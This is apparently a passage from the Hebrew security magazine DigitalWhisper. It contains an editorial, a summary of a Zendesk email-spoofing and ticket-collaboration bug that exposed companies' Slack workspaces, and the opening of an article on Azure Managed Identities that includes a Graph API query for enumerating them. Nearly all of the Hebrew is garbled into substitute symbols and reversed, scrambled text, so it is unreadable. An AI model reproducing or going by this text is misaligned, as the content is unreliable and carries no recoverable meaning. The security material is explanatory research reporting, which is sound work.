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˫˧˩ˣ˶˟ ˫˧˞˟ˢ ˭ˣ˧˪ˠ˪ s-мст ˪˷ DigitalWhisper! 

ˬ ˶˸ˣ˧ ˸˴˵ ˧ˮ˲˪-18  ˫˧ˮ˷ ˸˟˧˦˥ .ˢˬ˵ˣˢ ˢ˸˰ ˢˤ˷ ,˶˧˲˩ ˸˟˧˦˥˟ ˫˥ˣ˪˩ ˧˸˸˶˧˷ ,˪"ˢ˴˪ ˧˸˯˧˧ˠ˸ˢ

 ˥˦˷ˢ ˸ˣ˰ˣ˟˷ˬ ˡ˥˞˟˷ ˶˩ˣˤ ˧ˮ˞ .˷"ˣ˧˞˟ ˢˬ˧˥˪ˢ ˪˰ ˢˮˣˬ˞˷ ˶"˧˥ ˫˧ˮˣ˷˞˶ˢˡ˵˲ˬ ˧˸˧˧ˢ˷ ˭ˬˤ˟ 

˪ˢˣ˞ˢ ˸˞ ˫˧˵ˢ˷ ˶˥˞˪ ˸ˣˡ˸˧ˢ ˸˥˞ ˭ˣˬ˧˯ ˪˰ ˡ˧˲˵ˢ ˞˪ ˫˧˪˧˧˥ˢ ˡ˥˞ ,ˢ˸˧˩ ˣ˪˷ ,˟˶˰˟ˣ ,˶˥˞ ˪˧˧˥ 

 ˫˷˪ ˨ˣˬ˯ ˶˟˰˷-  ˧˪˞ ˞˟ ˢ˵˪˥ˬˢ ˡ˵˲ˬ ˨˞ ,˪˪˩ ˰˴˲ˮ ˞˪ ˪˲ˮ˷ ˪˧˧˥ˢ .˪˲ˮˣ ˡ˸˧˟ ˪˵˸ˮ ˣˮˬˬ ˷˵˟˧ˣ

.˶˧˵˥˸ ˨˩ ˪˰ ˰˴˟ˮ˷ ˢ˴ˣ˶ ˞ˣˢ ,˯˧˯˟˪ ˶ˣˤ˥ˮ˷˩˷ 

 ˣˮ˶ˤ˥˷˩ ˫˧˲˧˧˰˯˟˪ ˰ˣ˟˷ˢ ˣ˸ˣ˞ ˱ˣ˯˟ ˣ˸ˣ˞ ˧˪˞ ˞˟ ,˯˧ˬ"ˬ  ˨ˣ˶˰ˮ˷ ˷˵˧˟ˣˢ ˸˞ ˧ˮ˷ ˫˰ ˶˧˵˥˸

˫˧˪˧˧˥ˢ ˷ ˧ˮ˲˪˞˫ˣ˧ˢ ˱ˣ˯˪ ˫˸ˣ˞ ˶˶˥˷.  ˫˧˶ˣˬˠ ˫˧˪˧˧˥ˢ ˧˩ ,˧˥˶˩ˢ ˸ˬ˞˟ ˢˤ ˫˞ ˣ˸ˣ˞ ˧˸˪˞˷

˧˥˶˩ˢ ˢˤ˷ ˧˪ ˢˮ˰ ˞ˣˢ ˤ˞ .˸˧˶˵˸ˢˬ ˰ˠ˲ˮ ˸ˬ˞˟ ˞˪ ˡ˥˞ ˱˞ ˧˶ˢˣ ,˰ˣ˟˷ˢˬ, ˷ˣ ˨ˮ˥˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ˫˞

˸ˣˮ˧˧ˣ˴ˬ˪ ˫˧˪˧˧˥ˢ ˸˞ ,ˣˮ˧˪˰ ˢ˪˥˧˧˸˪ ˣ˪˧˟ˣˢ˷ ˸ˣˮ˪˷˶ ˧˶˵ˬ˪ ˯ ˧˰ˣ˶˧˞ ˧˶˵ˬ ˫ˢ ˣ˪˧˞˩ "˰ˠ˲ˮˣ ˦˰ˬ˩"

"˰ˠ˲ˮ". ˨˶ˡˢ ˣˤ ˧˩  ˶˰ˤˬ˪ ˨ˣ˯˥˪ˣ .˫˧˧ˡ˧˸˰ ˫˧˵ˤˮ˭˧˞˷ ˞ˣˢ ˸˞ˤˢ ˢ˷˧ˠˢ ˧˶ˣ˥˞ˬ ˭ˣ˧˰˶ˢ  ˸ˣ˩˥˪ ˨˶ˣ˴

˸ˬ˞ ˢ˶˵ˬ˪  ˡˣˬ˪˪ ˧ˡ˩˫ˢˬ.˫ˣ˧ˢ ˡ˰ ˧˸˧˞ ˫˧˩˪ˣˢ ˢ˵˪˥ˬ ˡ˵˲ˬ ˣ˸ˣ˞ ˪˷ ˣ˸ˬ˩ˣ˥ˣ ,ˢˤˢ ˥˵˪ˢ . 

˸˞ ˢˮ˲ˢ ˶˟˥ ,˰ˣ˟˷˩ ˧ˮ˲˪  ˶ˣ˲˧˯˪ ˧˟˧˪ ˸ˬˣ˷˸˞˟ˢ .ˣ˧˦˶˲ ˣ˪˞ : ˸˶˟˥Zendesk  ˪ˣˢ˧ˮ˪ ˸˩˶˰ˬ ˢ˰˧˴ˬ

.ˢ˦ˣ˷˲ ˢ˧˴˶ˠ˦ˮ˧˞ ˸˶ˤ˰˟ ˸ˣ˥ˣ˵˪ ˸ˣ˶˧˷  ˭˟ ˶ˣ˥˟15  ˢ˪˧ˠ ˪˞˧ˮˡ ˫˷˟ ˢ˰˧˴ˬ ˞˧ˢ˷ ˸ˣ˶˧˷ˢ˷ˣ˷˥ ˱

˸˶˷˲˞ˬ˷ ˢ˲˵˸ˬ˪ Email Spoofing  ˢ˪˷ ˪ˣ˴˧ˮˣ˶˷˲˞ˬ  ˥˪ˣ˷ ˞ˣˢ ˶˷˞˩ ˶ˣ˵ˬˢ ˸˟ˣ˸˩ ˸˞ ˱˧˧ˤ˪ ˣ˪

 ˢ˧˪˞ ˫˧˪˧˧ˬ ˟˸ˣ˩ˢ)ˣˮ˧˞  ˸ˣˡˣ˞ ˦˶˲ˬ˵˧ˮ˩˦ˢ ˸-Spoofing  ˢ˟˷ ˨˞ ,˷ˣˬ˧˷ ˢ˷˰ ˞ˣˢ ˱˶˴˷ ˡˣ˵ˢ ˧˲˪

ˢ˞˶ˮ  ˢ˶˟˥ˢ ˪˷ ˫˧˸˶˷ˢ˷˞˪ ˣˬ˸˪ ˣˠ˲ˮˣ˵ ˭ˣˠ˩ ˸ˣ˧˯˧˯˟ ˸ˣˮˠˢ˟ ˨SPF x-DKIM ˥˪ˣ˷ˢ ˸ˣˬ˧˞˪(. 

˷ ˸ˣ˶˧˷˪-Zendesk  ˪˷ ˶'˴˧˲ ˷˧ ,˫˧ˮ˸ˣˮTicket Collaboration ˞˷ ˶˫˧ˮ˰ˬˮ ˱˶˴˪ ˶˷˲˞ˬ ˫˧˲˯ˣˮ ˪-

Ticket ˥˸˲ˮ˷˸˞ˤ ˸ˣ˷˰˪ ˭˸˧ˮ . ˪˷ ˸˟ˣ˸˩ˢ ˸˲˯ˣˢ ˧"˰˫ˢ ˟-CC ˧ˬ ˫˧˥˪ˣ˷ ˶˷˞˩ ˸ˣ˟˸˩˸ˢ˪ ˪˧

) ˢ˷ˡ˥ ˸ˣ˟˸˩˸ˢ ˪˩ .˸ˬ˧˧˵Ticket  ˪˟˵ˬ (˥ˣ˵˪ ˧"˰ ˥˸˲˧ˮ˷Ticket-ID ˬ ˵˪˥ ˞ˣˢ˷˸˟ˣ˸˩ ˪˧˧ˬ˧˞ˢ 

˵ˣ˸˪ .˥ˣ˵˪ˢ ˫˰ ˸˟˸˩˸ˬ ˸˩˶˰ˬˢ ˢ˩˶ˡ˷ ˶˟ˣˡˬ˷ ˭ˣˣ˧˩ˬ ˸ˣ˧ˣ˟˸˩˸ˢ ˪˷ ˸ˣ˟ˣ˸˩ ˷˥ˮ˪ ˸˧˯˥˧ ˪˵ ˱

-˟ID .˸˧˶˞ˮ˧˪ ˢ˶ˣ˴˟ ˢ˪ˣ˰˷ 

 ,ˢˤ ˟˪˷˟˪ ˣˬ˴˰ ˸˞ ˱˶˴˪ ˪˞˧ˮˡ˪ ˢ˶˷˲˧˞ ˪"ˮˢ ˢ˷˪ˣ˥ˢ-Ticket- ˸ˣ˥ˣ˵˪˷ ˫˧ ,ˣ˥˸˲ ˫˧˶˥˞˧"˰  ˷ˣ˥˧ˮ

ˢ ˫˰ ˢ˟˧˸ˢ ˭˰ˬˮˣ (ˢ˧ˮ˲ˢ ˸˞ ˶˴˧˷ ˥ˣ˵˪ˢ) ˭˰ˣˬ ˸˟ˣ˸˩ ˡˬ˴-Ticket-ID ˷˥ˮ˪ ˨˧˶˴ ˞ˣˢ ˢ˸ˣ˞˷ ) ,˨˞

 ˸ˣ˷˰˪ ˭˸˧ˮ ˸ˣ˪˵˟ ,˶ˣˬ˞˩Brute Force ˟ ˶˟ˣˡˬ˷ ˭ˣˣ˧˩ˬ-ID .(˳˶ 

 ˸˶˟˥˪ ˠ˞˟ˢ ˪˰ ˥ˣˣ˧ˡ ˪˞˧ˮˡZenDesk  ˪˩ ˞ˣ˶˵˪ ˪ˣ˩˧ ˞ˣˢ˷ ˭˰˦ˣTicket  .ˢ˴ˣ˶ ˞ˣˢ˷ˢˮ˰˦ ˧ˮ˧˴˶ ˧ˡ ˸,

˩˸ˬ ˸ˣ˥ˣ˵˪ ˶˷˞˩ ,˫˧˶˵ˬ ˢ˟˶ˢ˟˷ ˭ˣˣ˧˩ˬ˫˧˟˸ ˧ˣ˯ˬ ˢ˶˟˥ ˪˷ ˢ˩˧ˬ˸ˢ ˸ˣ˶˧˷ ˫˰ ˫˧˷˧ˠ˶ˬ ˫ˢ ,˸ˬ˧

https://gist.github.com/hackermondev/68ec8ed145fcee49d2f5e2b9d2cf2e52
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 ˣˮ˲ ˫ˢ ˢˬ˷˪˷ ˢ˪˵˸ˢ ˸˞ ˶ˣ˸˲˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˫ˢ˷ ˭ˣˣ˧˩ˬ ˫˧˷˧ˠ˶ˣ ˫˧˧ˮ˩˦ ˫˧˦˶˲ ˱ˣ˷˥˪ ˥ˣˮ˟ ˡˣ˞ˬ

 .˸ˣ˥ˣ˵˪ ˸ˣ˶˧˷ ˣ˸ˣ˞˪ 

 ˸˶˟˥ZenDesk  ˵˶ ˞˪ˣ ,˧˸ˣ˰ˬ˷ˬ ˪˷˩˟ ˶˟ˣˡˬ ˞˪˷ ˢ˟˧˷ˢ- ˢˬ ˠ˶ˣ˥ ˣ˪˧˲˞ ˞ˣˢ-Scope  ˢ˶˟˥ˢ˷

ˢ ˸˧ˮ˩ˣ˸˟ ˢˮˬ˧˯-Bug Bounty ˟-HackerOne ˬ˟˷ ˢ˸˶ˠ˯ ˫ˢ ˭˩˪ˣ ˸˩˶˰ˬˢ ˸˞ ˶ˣ˵˥˪ ˪˥ˢ ˪˞˧ˮˡ

.˪˞˧ˮˡ ˪˷ ˞˴ˬˬ˟ ˶˧˩ˢ˪ ˫˧ˮ˩ˣˬ ˫ˮ˧˞ 

˟ ˫˧˶˵ˬ ˦˰ˬ ˞˪˟ ˞ˣ˴ˬ˪ ˶˷˲˞˷ ˧˯˞˪˵ ˶ˣ˲˧˯ ˡˣ˰ ,ˢ˩ ˡ˰-HackerOne:  ˞˴ˬˬ ˫˰ ˢ˶˟˥˪ ˢˮˣ˲ ˶˵ˣ˥

 ˨˞ .˸ˣ˟˧˷˥ ˣ˧˪˞ ˯˥˧˧˪ ˞˪ ˢ˟˧˯ ˸˞˴ˣˬ ˢ˶˟˥ˢˣ ˧˸ˣ˰ˬ˷ˬ ˧ˡ˟ ˪˵˸ˮ ˞ˣˢ˷ ˟˸ˣ˩ ˪˞˧ˮˡ ˢˤ ˟˪˷˟ ˦˯ˣ˲

˭˷˧  ˪˷ ˸ˣ˩˶˰ˬ˟ ˢˬˣˡ ˦˵˲˞ ˫˰ ˢ˷˪ˣ˥ ˪˰ ˫˯˶˲˷ ,˱˯ˣˮ ˢ˥˦˟˞ ˶˵ˣ˥ ˪˷ZenDesk˷ ˭˧˟ˢˣ . ˫˰

 ˫˧˲˯ˣˮ ˫˧˧ˠˣ˪ ˫˧˲˵˰ˬˣ ˫˧˧ˣˮ˧˷ ˶˲˯ˬ˪ ˪ˣ˩˧ ˞ˣˢ˵˲˞ ˠ˧˷ˢ˪ ˧ˡ˩ ˭ˣ˧˰˶˟ ˷ˬ˸˷ˢ :˶˸ˣ˧ ˧˸ˣ˰ˬ˷ˬ ˦

 ˷ˬ˸˷ˬ ˶ˣ˴˧˪ ˧ˡ˩ ˢˤˢ ˟˧˦˧ˬ˧˶˲˟ ˷ˣˬ˧˷Slack ˪ ˶˟˥˸ˢ˪ ˪ˣ˩˧ ˞ˣˢ ˣ˸˧˞˷-Slack  ˢ˶˟˥ ˪˩ ˪˷

 ˪˷ ˸ˣ˶˧˷˟ ˸˷ˬ˸˷ˬ˷ZenDesk  ˸ˣˢˡˤˢ ˭ˣˮˠˮˬ˟ ˫˧˷ˬ˸˷ˬ˷ ˢ˶˟˥ˢ ˪˷ ˫˧˲˯ˣˮ ˫˧˸ˣ˶˧˷˪ ˢ˞˶˩ˣ)

.(ˢˬˣˡ 

 ˸˞ˤˢ ˸˪ˣ˩˧ˢ ˫˰˪˞˧ˮˡ  ˪˷ ˸ˣ˥ˣ˵˪ ˶˲˯ˬ˪ ˢˮ˲ ˶˟˩ZenDesk ˭˟ ˧˞˶˵˞ ˡ˪˧˷ ˫˧˴ˣ˶ˬ ˣ˧ˢ ˞˪ ˡˣ˞ˬ˷ ,

15 ˢ ˧˴ˣ˶˰˪ ˸˷ˠ˪ ˪ˣ˩˧ ˡ˧˟ ˶˴˶˴˵ ˦˲˧˶˵˯ ˫˰-Slack  ˢ˶ˣˬ˸˩ ˱˯˩ ˪˟˧˵ ˪˞˧ˮˡ ˸ˣ˶˟˥ˢ ˭˸ˣ˞ˬ .˫ˢ˪˷

 ˸˶˟˥ˬ ˨˞ ,˥ˣˣ˧ˡˢ ˪˰ZenDesk  ˪˪ˠ˟˷ ˢˮ˰˦˟ ˫˰˲ˢ .ˠ˞˟ˢ ˸˞ ˢˮ˵˧˸ ˢ˶˟˥ˢ˷ ˸ˣ˶ˬ˪ ,˞˪ ˞ˣˢ

.ˢ˧˸ˣ˥ˣ˵˪ ˫˰ ˞˴ˬ ˞ˣˢ˷ ˢ˷˪ˣ˥ˢ ˪˰ ˰ˡ˧ˬˢ ˸˞ ˱˸˧˷ ˞ˣˢ˷ .ˢ˪˞ˣˣ  

 ˡ˟˪ˬ˟ˣ˰ˢ ˸ˣ˞˶˪ ˱˧˩˷ ˸˶ˡˢˮˢ ˢˡ˷ ˭˟ ˡ˪˧15  ˸ˣ˧˸˶˧˴˧ ˦˰ˬ ˞˪ ˸ˣ˩ˤ˟ ˧˸ˣ˰ˬ˷ˬ ˠ˷˧ˢ ˠ˧˷ˢ˪ ˥˧˪˴ˬ

 ˸˯˞˟ˬˢ ˢˡ˟ˣ˰ˢ ˡ˟˪ˬˣ ,ˢ˧˷ˣ˸ˣ)ˢ˶ˣ˶˟ˢ ˨˞(  ˣ˞ ˰ˡ˧ˬ ˸˥˦˟˞ˬ ˫ˢ˪ ˸˲˩˞ ˞˪ ˦ˣ˷˲˷ ˫˧ˮˣˠ˶˞ ˷˧˷

˫ˢ˪˷ ˸ˣ˥ˣ˵˪ˢ ˸˞ ˫˧ˮ˩˯ˬ ˫ˢ ˫˸ˣˮ˪˷˶˟˷ ˢˤˬ˫ˢ˪˷ ˸ˣ˥ˣ˵˪ˢ ˪˷ ˸ˣ˥ˣ˵˪ˢ ˸˞ˣ ,,  ˷˧ ˭˧˧ˮ˰ ˭˞˩

˳ˬ˞˪ ˢˣˣ˷ ˧˸˰ˡ˪˷ ˟ˣ˷˥: ˥˵˪ ˣ˸ˣ˞ ˧˸ˣ˞ ˡˬ˧˪˷  ˤ˞ ˡ˵˲ˬˢ.ˢ˵˪˥ˬ 

 ,˫ˣ˧˩˧˵ˣ˥ ˸ˣ˩ˤ˟ s-GDPR ˸ˣ˶˟˥ , ˸ˣ˧˸˷˸˪ ˸ˣˮ˪˷˶˟ ˸ˣ˯˥˧˧˸ˬˣ ,˸˪˷ˣ˶ˬ ˢ˶ˣ˴˟ ˰ˡ˧ˬ ˸ˣ˲˯ˣ˞˷

 ˸ˣˮ˪˷˶ ˢ˸ˣ˞ ˸ˣ˟˵˰˟ˣ ,˭ˢ˪˷-  ˟ˮˠˮˣ ˵ˣˤ˧ˮ ˫ˢ˧˸ˣ˥ˣ˵˪ ˪˷ ˧˦˶˲ ˰ˡ˧ˬ˸ˣ˧ˣ˷˰ ˪˟˵˪ ˵˯ˮ˸ˣ ˫˧ˢˣ˟ˠ . ˢˤ˷

 ˭˟ˣˬ˩ ,˭˧ˣ˴ˬ ˫˩˪˷ ˸ˣ˥ˣ˵˪ˢ ˪˰ ˰ˡ˧ˬ ˱ˣ˯˞˪ ˫˸˦˪˥ˢ ˫˞-  .ˣ˧˪˰ ˭ˠˢ˪ ˢˤ ˫˩ˬ ˢ˲ˣ˴ˬ˷ ˫ˣˬ˧ˮ˧ˬˢ

˵ˢ ˢ˪˞ˢ ˫˧˵ˣ˥ˢˣ ˫˧˪ˣˡˠ ˸ˣ˯ˮ ˭˩˞ .˸ˣ˶˟˥ˢˬ ˵˪˥ ˫˧˰˧˸˶ˬ 

 ,˸ˣ˪˟˵ˬ ˸ˣ˶˟˥ ˭˸ˣ˞˷ ˯ˮ˵ˢ˷ ˞˧ˢ ˢ˧˰˟ˢ ˨˞ ˸˞ ˶˧ˤ˥ˬ ˣˮ˧˞ ˞ˣˢ ˨˞ ,˥˵˪ ˫˸ˣ˞ ˡˬ˪ˬ ˫ˮˬˣ˞

ˮ ˫ˢ˧˪˰ ˶ˬ˷ˮ˷ ˰ˡ˧ˬˢ˷ ˫˧˷ˬ˸˷ˬ ˫˸ˣ˞˪ ˸ˣ˧˦˶˲ˢ ˫˧˶ˠ˞ˬ˟ ˣˡ˟˞˷ ˫˧˶˟ˡ ˸ˣˮ˷˪ ˭˸˧ˮ˷ ˭ˣ˩ˮ ˢˤ .˟ˮˠ

 ˭ˣˠ˩ ˰ˡ˧ˬ ˨˞ ,˵ˮ˟ ˸ˣˮˣ˟˷˥ ˣ˞ ˧˞˶˷˞ ˯˧˦˶˩ ,˧ˬˣ˯˶˧˲ ˢˢˤˬ ,˸ˣ˞ˬ˯˧˯ ,˪˧˧ˬ˧˞ ˸ˣ˟ˣ˸˩ ˣ˪˪˩˷

 ˧˦˶˲ ˣ˞ ˸ˣ˧ˮ˧ˬ ˸ˣ˲ˡ˰ˢ ,˫˧˧˞ˣ˲˶ ˫˧˵˧˸ ,˸ˣ˧ˮ˵ ˸˧˧˶ˣ˦˯˧ˢDNA  ˫˧˶˵ˬ˟ ˵ˤˮˢ ˸˞ˣ .˶˧ˤ˥ˢ˪ ˸ˣ˶˷˲˞ ˭˧˞

.˟˧˷ˢ˪ ˶˷˲˞ ˧˞ ˢ˪˞ˢ 

 

https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c
https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c
https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c
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 ˧˲˩ ˸ˣ˞˧˴ˬ˟ ˣ˰ˠ˲˧˧ ˫˧˷ˬ˸˷ˬˢ˷ ˫˧˩˥ˬ ˫˰˲ ˪˩ ˣˮ˥ˮ˞ ,˫ˣ˧˩ ˞˧ˢ˷- ˤ˞ ˵˶ˣ  ˫˧ˡˬ˪ˬ ˣˮ˥ˮ˞˥˵˪ ˸˞ 

ˢ.˸˧ˮ˪˷˶ˢ ˢ˶˟˥  ˫˧ˮ˧˟ˬ ˣˮ˥ˮ˞˷ ˣˬ˩ ˨˞-  ˸ˣ˧˦˶˲ˢ ˸˞ ˷ˬ˸˷ˬ˪ ˶˧ˤ˥ˬ ˸ˬ˞˟ ˞˪ ˥˵˪ˢ ˣ˸ˣ˞ ˡˣˬ˧˪

 .ˣ˪˷ 

 ?˫˧ˮ˧˧ˣ˴ˬ ˢ˧ˢˮ ˞˪˷ ˢˬ˪ˢ˵˪˥ˬ ˡ˵˲ˬ ˣ˸ˣ˞ ˪˷ ˢ˷˧ˠˢ ˸˞ ˳ˬ˞ˮ ˞˪˷ ˢˬ˪ ˫˧˥˵˪ˢ ˸˞ ˡˬ˪ˮ ˣ˞ˣ˟ .

.ˣ˵ˤˮ˧ ˸ˬ˞˟ ˫˧˷ˬ˸˷ˬˢ˷ ˸ˣ˩˥˪ ˧˪˟ˬ "˰ˠ˲ˮˣ ˦˰ˬ˩" ˪˷ ˫˧˶˵ˬ˟ ˫˸ˣ˞ ˡˬ˪ˮ . ˫˧˶˵ˬ ˫ˢ ˫˧˶˵ˬ ˢˤ˧˞

˪˞˧ˮˡ ˪˷ ˢ˶˵ˬˢ ˵ˣ˧ˡ˟ ?"˰ˠ˲ˮˣ ˦˰ˬ˩" ˪˷: ˪ ˪˰ˬ ˫˰ ˢ˶˟˥-200,000 ,˸ˣ˥ˣ˵˪  ˫˧˪ˣˡˠˢˬ ˫ˢ ˫˵˪˥˷

˷ ,˵ˣ˷˟˭˩˯ˬ˷ ˧ˮ˪˷˶ ˭˲ˣ˞˟ ˢ˧˪˞ ˥ˣˣˡ˷ ˧˸˥˦˟˞ ˰ˣ˶˧˞˪ ˸˯˥˧˧˸ˬ ˵ˬ˟ .˭˧˰ˡˣ˧˟ ˢ˧˸ˣ˥ˣ˵˪ ˸˞ ˪˷ ˢ˶

 ˢ˰˧˷˲ ˭ˣˠ˶˞˷ ˡ˰ ,˵˸˷ˣˬ ˢ˧ˢ ˣ˪˷ ˥ˣˣ˧ˡˢ˷ ˥˧ˮˢ˪ ˶˧˟˯ ,˷˞˶ ˪˧ˡˠˬˣ ˷˵˰˸ˬ ˢ˧ˢ ˞˪ ˞ˣˢ ˫˞ ,˪˞˧ˮˡ

 ˸˞ ˞˴ˣˬ ˢ˧ˢ ˧˦ˮ˶˟˧˵ ˢ˸ˣ˞ ˫˧˷ˬ˸˷ˬ ˪˷ ˧˦˶˲ ˰ˡ˧ˬ ˡˣ˰˟ ˦ˮ˵˶˞ˡ˟ ˸ˣ˧ˣˮ˥ˢ ˸˞ ˱˧˴ˬˣ ˢ˷˪ˣ˥ˢ

.˸ˣ˥ˣ˵˪ˣ 

˟ ˤ˞ ˶˟˩ ˣ˴ˬ˧˞ ˢˤˢ ˥˵˪ˢ ˸˞ ˫˞˷ ˡˣ˞ˬ ˸ˣ˧ˢ˪ ˪ˣ˩˧-2006 ,˭˦ˮ˦˵ ˶"˧˥ ˡˣˡˠ˟  ,˫ˣ˧ˢ˷ ˭ˬˤˢ ˰˧ˠˢ ˤ˞

 ˱ˣ˯ ˸˞˶˵˪нлнп Σˬ ˡ˥˞˧˲ˮ˰ .˭˩ ˫ˠ ˣ˸ˣ˞ ˳ˬ˞˪ ˪˧˥˸˧ ˵ˣ˷˟ ˶˸ˣ˧˟ ˫˧˯˧ˮ˩ˬˢ ˢ˧ˠˣ˪ˣˮ˩˦ˢ 

 ,ˣˢˤ ˤ˞ ˡ˧ˠˢ˪ ˢ˴˶ˮ ,˭ˣ˧˪ˠˢ ˭˩ˣ˸˪ ˷ˠ˧ˮ˷ ˧ˮ˲˪ ˣˮˬˤˬ ˰˧˵˷ˢˣ ˟˷˧˷ ˧ˬ ˪˩˪ ˢˡˣ˸˶ˬ˞ˬ ˣˮ˪ ˟˸˩ˣ 

˷ˡˣ˥ˢ .ˡˣ˸ ˢ˟˶ ˢ˪˧˵˯˟ˣ˶ˡ˲ ˶˧˲˯ ,ˡˣ˸ ˢ˟˶ ˢ˪˭ˬ˲˧ˣ˵ ˪˞˧ˮˡ ,ˡˣ˸ ˢ˟˶ ˢ˪ˣˢ˧˰˷˧ ˡ˰˪˞ ,ˡˣ˸ ˢ˟˶ ˢ

˪˭ˣ˪˥˩ ˶ˬˣ˰ ,ˡˣ˸ ˢ˟˶ ˢ˪˭ˬ˶˷ ˧˰ˣ˶ xˡˣ˸ ˢ˟˶ ˢ˪˶˴ˮ ˪ˠ ˶ˬˣ˸! 

 ,ˢˬ˧˰ˮ ˢ˞˧˶˵ 

 ˪˞˧˦˯˵ ˵˧˲˞ 
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Managed Identities Azure 

˧˵˯˟ˣ˶ˡ˲ ˶˧˲˯ ˸˞ˬ 

 

?˫˧˪˧˥˸ˬ ˢ˲˧˞ ,˟ˣ˦ 

ˢ˧ˢ ˢ˸˧˧ˢ ˳˶˞ ˢ˞˪˲ˣˬ ˫˷˟ Azure Φ˳˶˞ˢ ˣˤˢ ˢ˪˧˩ˢ ˸ˣ˶˷˰ ˫˞ ˞˪ ˸ˣ˞ˬ ˫˧˸ˣ˶˧˷ ˫˧ˮˣ˷ Φˣˬ˩ ˪˷ˬ˪ 

Cosmos DB ΣKey Vaults ΣVirtual MachinesΣ ˭˧˟ˣ ˪˩ ˫˧˸ˣ˶˧˷ˢ ˣ˪˞ˢ Σ˸ˣ˶˧˷ ˡ˥˞ ˭˦˵ ˞˪˲ˮˣ ˫˷˟Azure 

Active Directory ύx˞ ˣˬ˷˟ ˶˟˩ˢπ˞˪π˪˩π˨˩π˷ˡ˥ ˰ˤ˰ˤˬˢˣ: Entra IDΦό 

˶ˣ˸˟ ˢ˶ˣ˩ˬ ˢ˷˵ ˫ˣ˥˸˪ ˸ˣ˧ˣˢˤˢ Σ˧˸ˡˣ˟˰ ˢˡ˵ˬ˸ˢ ˶˵˧˰˟ ˧˵˲˯˟ ˸ˣˢˤ ˫˧ˮˣ˷ ˣˬ˩ Entra IDΣAWS IAMΣ 

Okta xπAD Φ˧ˮ˞ˣ ˸˟ˢˣ˞ ˸˞ ˢˤ Η˪˟˞ - ˡ˧ˬ˸ ˧˸ˬ˪˥ ˸˞˴˪ ˸ˣ˪ˣ˟ˠˬ ˫˪ˣ˰ ˸ˣ˧ˣˢˤˢ Σ˯ˮ˩ˢ˪ˣ ˫˪ˣ˰˪ ˶˵˥ˬˢ 

˪˷ ˶˟ˡˢ ˫ˣ˴˰ˢ ˢˤˢ ˞˶˵ˮ˷Υ ˭ˮ˰ Φ˧ˡˣ˰˟ ˸˦˦ˣ˷ˬ ˶˰˧˟ ˭˧˞ ˧˲ˣ˯ ˪˷ ˰ˡ˧ˬ Σ˧˸˪˵˸ˮ ˥˸˲ˬ˟ ˧˪˷ ˫˪ˣ˰˪ 

˪ˣˡˠˢ Σˢˤˣ ˞ˣˢ ˞˷ˣˮ ˶ˬ˞ˬˢ ˫ˣ˧ˢ .˧ˮ˞ ˸˷ˠ˶ˮ ˶˧˩ˢ˪ ˫˩˪Υ Managed IdentitiesΗ 

 ˣ˞ˣ˟˪˧˥˸ˮΦ 

 

ˢˬ ˢˤΚ 

˶˟ˣˡˬ ˫˴˰˟ ˸˸˟πˠˣ˯ ˪˷ Service Principal Φ˸˞ˤ ˸˶ˬˣ˞ Σ˫˞ ˳˧˶ˮ ˟πGraph API ˸˞ ˢ˸˪˧˞˷ˢ ˢ˞˟ˢΥ 

https://graph.microsoft.com/beta/servicePrincipals?$filter =servicePrincipalType eq 
'ManagedIdentity'  

˪˟˵ˮ ˸˞ ˪˩ sπMI ˷˧˷ ˣˮ˪ ˟πTenant Φˢ˶˦ˬˢ ˪˷ MI ύ˪ˡ˟ˢˢˣ ˭˧˟ ˸ˣ˷˧ ˣˤ˩ ˭˧˟˪ ServicePrincipal ˪˧ˠ˶ ό

˞˧ˢ ˶˷˲˞˪ ˢ˧˴˵˧˪˲˞˪ ˪˟˵˪ Token Σ˧˪˟ˬ ˨˶˦˴˸˷ ˵ˤ˥˸˪ ˢ˪ ˞ˬ˯˧˯ Φ˧˧ˮ˧˰˟ ˢˤ ˶˧˩ˤˢ ˡˣ˞ˬ GMSA ˟π

ADΣ x˞ AssumeRole ˸˴˵ ˫˞ ˢ˶˵ˬ˟ ˞˴˧ ˫˩˪ ύ˸˲˸˸˷ˬ ˫˩˶˰˴˟ όˡˣ˟˰˪ ˫˰ AWSΦΦΦ 

˧ˡ˩ ˭˧˟ˢ˪ ˸ˬ˞˟ ˢˬ ˢˤ ˶ˬˣ˞ Σˢˬ ˸ˣ˩˪˷ˢˢ ˪˷ ˢˤ ˡ˴˧˩ˣ ˭˸˧ˮ ˪˴ˮ˪ ˸˞ ˢˤ Σ˨˶˦˴ˮ ˸˥˵˪ ˢ˞ˬ ˫˧ˡ˰˴ 

ˢ˶ˣ˥˞ Σ˶˧˩ˢ˪ˣ ˸˴˵ ˶˸ˣ˧ ˵ˬˣ˰˪ ˸˞ ˫˪ˣ˰ˢ ˞˪˲ˣˬˢ ˪˷ AzureΦ 

˭ˣˬ˧ˡ˵ ύ˨˶ˣ˞˟ ˪˷ ˶ˬ˞ˬ ˧ˮ˲˟ ˣˬ˴˰(... 

ˤ˞ ˧˲˩ ˧˸˶˟˯ˢ˷ ˞ˣ˟ˬ˟ ΣEntra ID ˞ˣˢ ˵˶ ˸ˣ˶˧˷ ˡ˥˞ ˵˲ˣ˯ˬ˷ ˪˰ ˧ˡ˧ Azure Φ˸ˣ˰˴ˬ˞˟ Entra ˪˩ˣˮ ˪ˢˮ˪ 

˸˞ ˫˧˷ˬ˸˷ˬˢ ˭ˮ˰˟ ˣˮ˪˷ Σ˸ˣ˞˷˶ˢˢ ˸ˣ˧˪ˢˮˬˢ ˫ˢ˪˷ ˣ˩ˣ Φ 
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˪˟˞ ˫˞ ˧˞ ˫˰˲ ˫˸˪˩˸˯ˢ ˪˰ Roleπ˫˧ ˟πEntra Σ˧ˮ˞ ˢ˥ˣ˦˟ ˫˸ˬ˷˷ ˟˪ Σ˭˧˞˷ ˫˷ ˫ˣ˷ Role ˶˟ˡˬ˷ ˪˰ 

ˢ˷˧ˠ ˸ˣˮˣ˩ˬ˪ ˸ˣ˧˪˞ˣ˦˶˧ˣ Σ˧˸˶˷ DB ˡˣ˰ˣ Φ˸˞ˤ ˫ˣ˷ˬ Σ˪˩˷ ˫˧˸ˣ˶˧˷ˢ ˣ˪˞ˢ ˪˪˩˟ ˫˧˪ˢˣˮˬ ˫ˣ˵ˬ˟ ˶˥˞ Η 

